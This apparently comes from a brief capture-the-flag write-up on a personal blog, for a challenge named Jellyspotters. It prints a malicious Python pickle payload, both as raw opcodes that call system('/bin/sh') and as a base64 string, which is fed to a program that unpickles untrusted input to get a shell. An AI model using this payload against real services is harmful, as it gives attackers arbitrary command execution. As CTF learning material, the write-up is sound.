tsustyle

Red Team Aspirant

Jellyspotters

less than 1 minute read

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The interesting function is import

Breaking the import function gives us an error

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So it wants a base64 encoded pickle object and we need to read the flag. Let’s get a shell using a malicious pickle object.

reading: https://checkoway.net/musings/pickle/

cos
system
(S'/bin/sh'
tR.

base64 encoding that gives us

Y29zCnN5c3RlbQooUycvYmluL3NoJwp0Ui4=

and passing that to the program…

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